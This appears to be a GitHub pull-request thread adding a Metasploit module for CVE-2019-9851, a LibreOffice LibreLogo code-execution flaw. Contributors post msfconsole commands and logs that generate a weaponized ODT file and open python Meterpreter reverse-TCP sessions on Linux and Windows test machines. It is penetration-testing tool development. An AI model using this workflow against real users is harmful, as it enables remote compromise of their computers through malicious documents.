Add LibreOffice LibreLogo exec exploit Module (CVE-2019-9851)

[LoadLow]

Follows #12147

Resolves #12103

Exploit written 17 days ago, before CVE-2019-9851 was publicly announced/disclosed.

[space-r7]

Is there a reason to use ARCH_CMD payloads rather than ARCH_PYTHON ?

I ask, because this is a file format exploit, and there's no guarantee the user will open the
document on the correct platform. Comparatively, if you're already executing native Python
code, you could use a Python payload, which should effectively be universal, and execute
regardless of the target platform.

Hi, @LoadLow! I made a PR on your branch that includes changes so your module can use Python payloads. The module works for both Windows and Linux , but an error window now pops up once your Meterpreter session is closed. There might be a specific setting for the python/meterpreter/reverse_tcp payload that could fix it, but I didn't look too deeply into that. Please let me know if those changes work for you!

[LoadLow]

Hi @space-r7 !
It works like a charm, thank you !

I have changed some options and it should now work without this error popup.

[bcoles]

Tested automatic targeting with Python payload on Linux Mint 19 using the latest commit at the time (Adds default options). I didn't encounter any popups.

msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set wfsdelay 600
wfsdelay => 600
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set disablepayloadhandler false
disablepayloadhandler => false
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.
[+] librefile.odt stored at /root/.msf4/local/librefile.odt
[*] Sending stage (53755 bytes) to 172.16.191.211
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.211:44392) at 2019-08-18 09:16:16 -0400

meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer        : linux-mint-19-2
OS              : Linux 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018
Architecture    : x64
System Language : en_AU
Meterpreter     : python/linux
meterpreter > 

I performed a little experimentation, but nothing thorough. I noticed that exploitation seemed to be a little unreliable. However, this was likely due to alt-tabbing out of the test VM during exploitation, preventing the mousemove event from firing. This is unlikely to be an issue in practice.

There's also the issue of leaving lingering soffice.bin processes, even after both LibreOffice and the shell session have been closed. There's probably not a lot that can be done to prevent this.

$ ps aux | grep libre
user      8321  0.0  0.0 1343484  864 ?        Ss   23:26   0:00 /usr/lib/libreoffice/program/soffice.bin --writer file:///home/user/Desktop/asdf.odt --splash-pipe=5
user      8370  0.0  2.7 1344052 27504 ?       Ss   23:27   0:00 /usr/lib/libreoffice/program/soffice.bin --writer file:///home/user/Desktop/asdf.odt --splash-pipe=5
user      8419  0.0 13.0 1346600 131976 ?      Ss   23:27   0:00 /usr/lib/libreoffice/program/soffice.bin --writer file:///home/user/Desktop/asdf.odt --splash-pipe=5
user      8434  0.0  0.1  14428  1024 pts/4    S+   23:29   0:00 grep --color=auto libre

Out of ~20 exploitation attempts, I encountered one system freeze, rendering X unresponsive, which required switching to TTY1 to kill off the soffice.bin processes. This happened only once, and was probably due to my test environment and behavior (ie, switching between VMs, multiple dangling processes from multiple exploitation attempts, exploitation attempts without a suitable listener, multiple exploitation attempts using the same file name, which had since been overwritten/deleted, etc).

Edit: Also, apparently my system ran out of memory which probably wouldn't have helped.

52962.018240] Out of memory: Kill process 7340 (soffice.bin) score 65 or sacrifice child
[352962.018263] Killed process 7340 (soffice.bin) total-vm:1344520kB, anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
[352965.699717] audit: type=1400 audit(1566134656.330:1603): apparmor="ALLOWED" operation="exec" profile="libreoffice-soffice" name="/bin/uname" pid=8016 comm="sh" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0 target="libreoffice-soffice//null-/bin/uname"

[LoadLow]

Thank you for the feedback !

It seems it is heavier than when we were executing a subprocess with the payload exec by calling os.system.
Also, the session is closed when the document is closed (PrependMigrate ignored ?).
But whatever, it is working.

[space-r7]

Also, the session is closed when the document is closed (PrependMigrate ignored ?).

PrependMigrate is specific to Windows payloads, so it is being ignored in this case. (I forgot to remove it.) @bcoles, do you have any more improvements in mind? I can remove the PrependMigrate option before landing.

[bcoles]

Also, the session is closed when the document is closed (PrependMigrate ignored ?).

PrependMigrate is specific to Windows payloads, so it is being ignored in this case. (I forgot to remove it.) @bcoles, do you have any more improvements in mind? I can remove the PrependMigrate option before landing.

Without looking into it, or testing the changes since Adds default options commit, I don't have any specific improvements in mind.

For what it's worth, the session doesn't die when I close the document - not sure if that behavior was introduced in the newer commits?

[space-r7]

For what it's worth, the session doesn't die when I close the document - not sure if that behavior was introduced in the newer commits?

Just tested the latest commits on both Windows and Linux. The session dies upon closing LibreOffice on Windows, but stays alive when the file is closed on Linux. It looks like the MeterpreterTryToFork option functionality that's set to true by default won't work on Windows currently, so it looks like we lost that after changing to Python payloads.

[bcoles]

it looks like we lost that after changing to Python payloads.

Welp. The original targets could be added back in, leaving python as the default. But I'm happy with the module as is.

[space-r7]

Welp. The original targets could be added back in, leaving python as the default. But I'm happy with the module as is.

Will keep the single Python target as exploitation is much more likely if the target is unknown. Will see if there is any potential for extending the MeterpreterTryToFork to Windows. Thanks, @bcoles!

[space-r7]

Tested on Windows and Linux with the latest changes:

msf5 > use exploit/multi/fileformat/libreoffice_logo_exec 
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > run

[*] File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.
[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > handler -H 192.168.37.1 -P 4444 -p python/meterpreter/reverse_tcp
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 192.168.37.1:4444 
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > [*] Sending stage (53755 bytes) to 192.168.37.143
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.143:60316) at 2019-08-19 13:09:59 -0500
[*] Sending stage (53755 bytes) to 192.168.37.147
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.147:49690) at 2019-08-19 13:10:15 -0500

msf5 exploit(multi/fileformat/libreoffice_logo_exec) > sessions

Active sessions
===============

  Id  Name  Type                        Information                                    Connection
  --  ----  ----                        -----------                                    ----------
  1         meterpreter python/linux    space @ ubuntu                                 192.168.37.1:4444 -> 192.168.37.143:60316 (192.168.37.143)
  2         meterpreter python/windows  DESKTOP-L5FDSM7\Shelby Pace @ DESKTOP-L5FDSM7  192.168.37.1:4444 -> 192.168.37.147:49690 (192.168.37.147)

msf5 exploit(multi/fileformat/libreoffice_logo_exec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.37.143 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/fileformat/libreoffice_logo_exec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : DESKTOP-L5FDSM7
OS              : Windows 10 (Build 16299)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows

[space-r7]

Release Notes

The LibreOffice LibreLogo Exec module has been added to the framework. It exploits a vulnerability in LibreLogo when bundled with LibreOffice. This module generates an ODT file with a global DOM loaded event that when triggered, will execute any arbitrary Python code.